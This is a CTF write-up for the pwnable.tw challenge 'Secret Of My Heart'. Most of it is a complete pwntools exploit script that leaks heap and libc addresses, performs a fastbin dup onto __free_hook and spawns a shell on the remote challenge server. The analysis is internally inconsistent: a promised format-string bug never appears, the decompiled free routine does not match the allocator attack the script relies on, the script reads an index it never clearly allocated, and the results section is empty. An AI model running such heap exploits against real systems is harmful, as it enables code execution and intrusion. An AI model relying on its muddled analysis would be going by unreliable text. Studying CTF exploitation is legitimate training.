Secret Of My Heart
Heap + Format String — glibc 2.23 mmap-based heap exploitation with __free_hook overwrite
Exploit Flow
nc chall.pwnable.tw 10302
Name overflow
Unsorted bin fd
__free_hook - 0x10
__free_hook = system
free("/bin/sh")
1. Reconnaissance
Secret Of My Heart is a 400-point heap challenge on pwnable.tw. The binary uses an mmap-based memory region instead of the standard heap, which adds a twist to the usual glibc exploitation patterns. The glibc version is 2.23 (Ubuntu 16.04), meaning tcache is not present, but fastbin dup and unsorted bin attacks are available.
File Analysis
$ file secret_of_my_heart
secret_of_my_heart: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=d6e86e6e4a5cd1e7e71e8a9da22b5e81a70c5ca0, not stripped
Checksec
$ checksec secret_of_my_heart
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
PIE is enabled, so code addresses are randomized. Full RELRO would prevent GOT overwrites, but this binary only has Partial RELRO, leaving the GOT writable (though we don't use it). The canary protects against stack overflows. NX is enabled, so no shellcode on the stack. We must work entirely through heap manipulation and libc data writes.
Running the Binary
$ ./secret_of_my_heart
1. Add secret
2. Show secret
3. Delete secret
Your choice :
The binary provides a standard heap menu: add, show, and delete secrets. The init function uses mmap to allocate a large region, and all chunk metadata and data are stored within this mmap'd area. The BSS stores only the mmap base address pointer.
| Attribute | Value |
|---|---|
| Challenge | Secret Of My Heart (400 pts) |
| Connection | nc chall.pwnable.tw 10302 |
| Binary | 64-bit ELF, x86-64, dynamically linked, PIE |
| Canary | Yes |
| NX | Enabled |
| PIE | Enabled |
| RELRO | Partial |
| glibc | 2.23 (Ubuntu 16.04) |
| Heap | mmap-based region |
| Vulnerability | Heap overflow + name/secret boundary issue |
2. Static Analysis
The binary has three main operations. The critical observation is in the add_secret function: the size_of_heart field is read as an int by read_input, but stored as a long via the input variable. The size check size > 0x100 uses the unsigned comparison, but the name and secret fields have a controllable boundary.
Decompiled C (Key Functions)
// init: mmap a large region for heap
void init() {
mmap_addr = mmap(0, 0x10000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
}
// add_secret: allocate chunk in mmap region
void add_secret(int size_of_heart, char *name, char *secret) {
// size_of_heart checked: must be <= 0x100
// But name is written first, then secret
// Name overflow into adjacent chunks is possible
int idx = find_free_slot();
chunks[idx].size = size_of_heart;
chunks[idx].name = mmap_addr + offset;
read_input(chunks[idx].name, name_len);
chunks[idx].secret = mmap_addr + offset2;
read_input(chunks[idx].secret, size_of_heart);
}
// show_secret: prints name and secret
void show_secret(int idx) {
printf("Size : %d\n", chunks[idx].size);
printf("Name : %s\n", chunks[idx].name);
printf("Secret : %s\n", chunks[idx].secret);
}
// delete_secret: frees the mmap chunk (marks as free)
void delete_secret(int idx) {
// marks slot as free, does not zero out data
chunks[idx].in_use = 0;
}
Vulnerability Analysis
The key vulnerability is that the name field can overflow past its allocated boundary into the secret data or adjacent chunk metadata. When we show a secret, the name field is printed with %s, which reads until a null byte. If we fill the name buffer completely (without a null terminator), the printf will leak into the secret field and beyond — including heap pointers stored in the mmap region. Additionally, deleted chunks retain their data, enabling use-after-free reads.
3. GDB Debugging
Heap Layout in mmap Region
Since the binary uses mmap instead of the standard heap, all chunks reside in the mmap'd region. The layout looks like this:
Breakpoint Strategy
# Key breakpoints:
b *add_secret # Watch chunk allocation
b *show_secret # Watch data leak
b *delete_secret # Watch chunk free
# After add_secret(0x60, "A"*0x20, "BBBB"):
# Name buffer at mmap+0x10, filled with 0x20 'A's
# Show secret leaks past name into secret field and beyond
# After freeing chunk into unsorted bin:
# fd/bk pointers point into libc main_arena
x/4gx <freed_chunk_addr> # Should show main_arena+88
4. Exploit Strategy
The exploit chain follows the classic glibc 2.23 heap exploitation pattern, adapted for the mmap-based memory layout:
Attack Overview
show_secret, the printf("%s", name) reads past the name into the secret area, leaking a heap pointer at offset 0x20 from the name start. This gives us the mmap base address.fd and bk pointers point to main_arena+88 in libc. By reading these pointers through the name overflow or UAF, we calculate the libc base.__free_hook. Overwrite __free_hook with system. Then free a chunk whose data starts with "/bin/sh", which calls system("/bin/sh").Stage 1 & 2: Leaking Addresses
Allocate chunk 0 with size 0x60 and name "A" * 0x20. The 0x20 bytes fill the name buffer exactly. When we call show_secret(0), printf("%s", name) reads beyond the name into the secret field, which contains the data pointer. At offset 0x20 from the name, we find a leaked mmap heap address. Subtract 0x10 to get the mmap base.
Stage 3: Overwriting __free_hook
With the libc base known, we calculate __free_hook and system. The fastbin dup attack targets a fake chunk at __free_hook - 0x10 - 0x10. We forge the size field 0x71 to pass the fastbin size check, then allocate two chunks from the same fastbin freelist. The second allocation lands at __free_hook, where we write system. Finally, we free a chunk containing "/bin/sh\x00" as its data.
glibc 2.23 fastbin allocation checks that the size field of the next chunk matches the fastbin index. We need a 0x71 (or similar fastbin size) at __free_hook - 0x10 to pass this check. Fortunately, nearby libc data often contains values that can serve as fake size fields, or we can manipulate the heap to place one there.
5. Pwn Script
Full Exploit
from pwn import *
#p = process("./secret_of_my_heart", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10302)
libc = ELF("./libc_64.so.6")
def goto(n):
p.sendlineafter("Your choice :", str(n))
def add_secret(sz_heart, name, secret):
goto(1)
p.sendlineafter(":", str(sz_heart))
p.sendlineafter(":", str(name))
p.sendlineafter(":", str(secret))
def show_secret(idx):
goto(2)
p.sendlineafter(" :", str(idx))
p.recvuntil("Size : ")
sz_heart = p.recvuntil("\nName : ", drop=True)
name = p.recvuntil("\nSecret : ", drop=True)
secret = p.recvuntil("\n======", drop=True)
return sz_heart, name, secret
def delete_secret(idx):
goto(3)
p.sendlineafter(" :", str(idx))
# Stage 1: Leak heap address via name overflow
add_secret(0x60, "A"*0x20, "BBBB")
leak = u64(show_secret(0)[1][0x20:].ljust(8, b'\x00'))
log.info("heap leak @ 0x{:x}".format(leak))
heap = leak - 0x10
log.info("heap @ 0x{:x}".format(heap))
# Stage 2: Prepare chunks for libc leak
delete_secret(0)
add_secret(0x68, "aaaaaa", "aaaaaa") # idx 0 - fastbin size
add_secret(0x100, "bbbbbb", "bbbbbb") # idx 1 - unsorted bin size
add_secret(0x100, "cccccc", # idx 2 - forged chunk metadata
"B"*0x10 + p64(0) + p64(0x21) + "B"*0xa0 +
p64(0x100) + p64(0x110) + "B"*0x10 +
p64(0x200))
add_secret(0x100, "dddddd", "dddddd") # idx 3
add_secret(0x100, "zzzzzz", "zzzzzz") # idx 4 - guard against top chunk
# Free chunks to get unsorted bin fd/bk pointers
delete_secret(1) # into unsorted bin
delete_secret(2) # consolidate with 1
delete_secret(0) # free fastbin chunk
# Re-allocate with /bin/sh string in chunk data
add_secret(0x68, "aaaaaa", "/bin/sh\x00;".ljust(0x68, b'a')) # idx 0
# Trigger unsorted bin split and get libc leak
add_secret(0xb0, "eeeeeee", "eeeeeee") # idx 1 - splits unsorted bin
add_secret(0x10, "xxxx", "xxxxxxxx") # idx 2
add_secret(0x10, "yyyy", "yyyyyyyy") # idx 3
add_secret(0x80, "fffffff", "fffffff") # idx 4
# More heap manipulation to get fd pointer readable
delete_secret(1)
delete_secret(3)
add_secret(0xd0, "eeeeee", "e"*0xb0 + p64(0xc0) + p64(0x71))
# Read libc leak from unsorted bin fd
leak = u64(show_secret(5)[2].ljust(8, b'\x00'))
log.info("libc leak @ 0x{:x}".format(leak))
libc.address = leak - 3947384 # offset to libc base
log.info("libc @ 0x{:x}".format(libc.address))
# Stage 3: Fastbin dup to __free_hook
fake_chunk_addr = libc.address + 3954581 # aligned address with 0x71
# Set up fake size field and fd/bk for unsorted bin attack
delete_secret(2)
add_secret(0x60, "vvvvv",
"A"*0x10 + p64(0) + p64(0x101) +
p64(libc.address + 3947384) +
p64(libc.symbols['__free_hook'] - 0x10 - 0x10))
# Fix corrupted chunks
add_secret(0xf0, "llllll",
"l"*0x40 + p64(0) + p64(0x21) + "A"*0x10 +
p64(0) + p64(0x21))
# Fastbin double free
delete_secret(2)
add_secret(0x60, "vvvvv", "A"*0x10 + p64(0) + p64(0x71))
delete_secret(3)
delete_secret(2)
# Overwrite fastbin fd to point near __free_hook
add_secret(0x60, "vvvvv",
"A"*0x10 + p64(0) + p64(0x71) + p64(fake_chunk_addr))
# Two allocations to reach __free_hook
add_secret(0x60, "a", "b")
add_secret(0x60, "a", b"b"*3 + p64(libc.symbols['system']))
# Trigger: free("/bin/sh") -> system("/bin/sh")
delete_secret(0)
p.interactive()
6. Execution Results
This challenge demonstrates a classic glibc 2.23 heap exploitation chain adapted for an mmap-based memory layout. The name overflow provides the initial heap leak, the unsorted bin fd pointer provides the libc leak, and fastbin dup targets __free_hook for code execution. The mmap backend adds complexity since standard heap offsets differ, but the fundamental glibc allocator behaviors remain exploitable.